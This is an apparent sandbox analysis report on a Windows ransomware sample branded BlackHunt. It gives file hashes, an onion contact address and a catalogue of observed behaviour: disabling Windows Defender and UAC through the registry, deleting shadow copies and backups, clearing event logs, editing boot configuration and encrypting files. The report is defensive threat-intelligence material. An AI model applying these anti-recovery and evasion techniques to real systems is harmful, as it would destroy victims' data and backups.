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Analysis
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max time kernel
117s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:23
Static task
static1
Behavioral task
behavioral1
Sample
53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Resource
win10v2004-20231215-en
General
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Target
53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
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Size
707KB
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MD5
b980df145054ac9d8426c2dcfe160312
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SHA1
f1977e2488ddcacfedf9d7228d1ab9bb91b80489
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SHA256
53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4
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SHA512
c1c9d7487c5d0d699443a6ff02937f376ca2021ad92932369b75f6b149c462b9154bffda49cb5a362e77b67b953788f29ac7e8ca7fbe628c30cf19bb16539b50
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8Avnh:6uaTmkZJ+naie5OTamgEoKxLWveh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2668 fsutil.exe 3232 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3408 wevtutil.exe 3544 wevtutil.exe 3444 wevtutil.exe 3892 wevtutil.exe 3140 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2812 bcdedit.exe 2752 bcdedit.exe 3336 bcdedit.exe 3492 bcdedit.exe -
Renames multiple (2871) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2700 wbadmin.exe 960 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 2528 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\I: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\R: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\Z: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\U: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\X: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\P: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\K: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\V: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\Q: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\A: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\H: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\J: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\L: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\N: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\T: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\Y: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\S: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\G: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\O: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\B: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\W: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened (read-only) \??\M: 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ir.idl 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#BlackHunt_ReadMe.hta 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.hta 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.properties 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\VideoLAN\VLC\README.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jawt.h 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\.eclipseproduct 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\feature.properties 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+2 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\view.html 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Maldives 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_ReadMe.hta 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\7-Zip\Lang\cy.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_ja.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Buenos_Aires 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-jvmstat.xml 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_ja.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ashgabat 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-13 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\7-Zip\Lang\eo.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\jmxremote.password.template 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-api-caching.xml 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Winnipeg 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\7-Zip\Lang\sa.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\pagecurl.png 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-8 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\#BlackHunt_Private.key 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_ja.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_ja.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-charts.xml 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\rt.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Swift_Current 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File created C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_ReadMe.hta 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\7-Zip\Lang\an.txt 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-10 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2420 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2616 vssadmin.exe 2996 vssadmin.exe 2168 vssadmin.exe 2672 vssadmin.exe 2468 vssadmin.exe 1352 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3764 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon vssadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" vssadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2568 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3360 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeRestorePrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeBackupPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeTakeOwnershipPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeAuditPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeSecurityPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeIncBasePriorityPrivilege 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe Token: SeBackupPrivilege 1836 vssvc.exe Token: SeRestorePrivilege 1836 vssvc.exe Token: SeAuditPrivilege 1836 vssvc.exe Token: SeBackupPrivilege 4000 wbengine.exe Token: SeRestorePrivilege 4000 wbengine.exe Token: SeSecurityPrivilege 4000 wbengine.exe Token: SeSecurityPrivilege 3444 wevtutil.exe Token: SeBackupPrivilege 3444 wevtutil.exe Token: SeSecurityPrivilege 3140 wevtutil.exe Token: SeSecurityPrivilege 3544 wevtutil.exe Token: SeBackupPrivilege 3140 wevtutil.exe Token: SeBackupPrivilege 3544 wevtutil.exe Token: SeSecurityPrivilege 3892 wevtutil.exe Token: SeBackupPrivilege 3892 wevtutil.exe Token: SeSecurityPrivilege 3408 wevtutil.exe Token: SeBackupPrivilege 3408 wevtutil.exe Token: SeDebugPrivilege 3764 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2872 wrote to memory of 3048 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 29 PID 2872 wrote to memory of 3048 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 29 PID 2872 wrote to memory of 3048 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 29 PID 2872 wrote to memory of 3048 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 29 PID 2872 wrote to memory of 2924 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 31 PID 2872 wrote to memory of 2924 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 31 PID 2872 wrote to memory of 2924 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 31 PID 2872 wrote to memory of 2924 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 31 PID 2872 wrote to memory of 2568 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 33 PID 2872 wrote to memory of 2568 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 33 PID 2872 wrote to memory of 2568 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 33 PID 2872 wrote to memory of 2568 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 33 PID 3048 wrote to memory of 2588 3048 cmd.exe 35 PID 3048 wrote to memory of 2588 3048 cmd.exe 35 PID 3048 wrote to memory of 2588 3048 cmd.exe 35 PID 2872 wrote to memory of 2668 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 143 PID 2872 wrote to memory of 2668 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 143 PID 2872 wrote to memory of 2668 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 143 PID 2872 wrote to memory of 2668 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 143 PID 2872 wrote to memory of 2708 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 38 PID 2872 wrote to memory of 2708 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 38 PID 2872 wrote to memory of 2708 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 38 PID 2872 wrote to memory of 2708 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 38 PID 2924 wrote to memory of 2616 2924 cmd.exe 141 PID 2924 wrote to memory of 2616 2924 cmd.exe 141 PID 2924 wrote to memory of 2616 2924 cmd.exe 141 PID 2872 wrote to memory of 2716 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 41 PID 2872 wrote to memory of 2716 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 41 PID 2872 wrote to memory of 2716 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 41 PID 2872 wrote to memory of 2716 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 41 PID 2872 wrote to memory of 2952 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 43 PID 2872 wrote to memory of 2952 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 43 PID 2872 wrote to memory of 2952 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 43 PID 2872 wrote to memory of 2952 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 43 PID 2872 wrote to memory of 2576 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 44 PID 2872 wrote to memory of 2576 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 44 PID 2872 wrote to memory of 2576 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 44 PID 2872 wrote to memory of 2576 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 44 PID 2568 wrote to memory of 2740 2568 cmd.exe 45 PID 2568 wrote to memory of 2740 2568 cmd.exe 45 PID 2568 wrote to memory of 2740 2568 cmd.exe 45 PID 2872 wrote to memory of 2484 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 48 PID 2872 wrote to memory of 2484 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 48 PID 2872 wrote to memory of 2484 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 48 PID 2872 wrote to memory of 2484 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 48 PID 2872 wrote to memory of 2688 2872 53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe 50 PID 2872 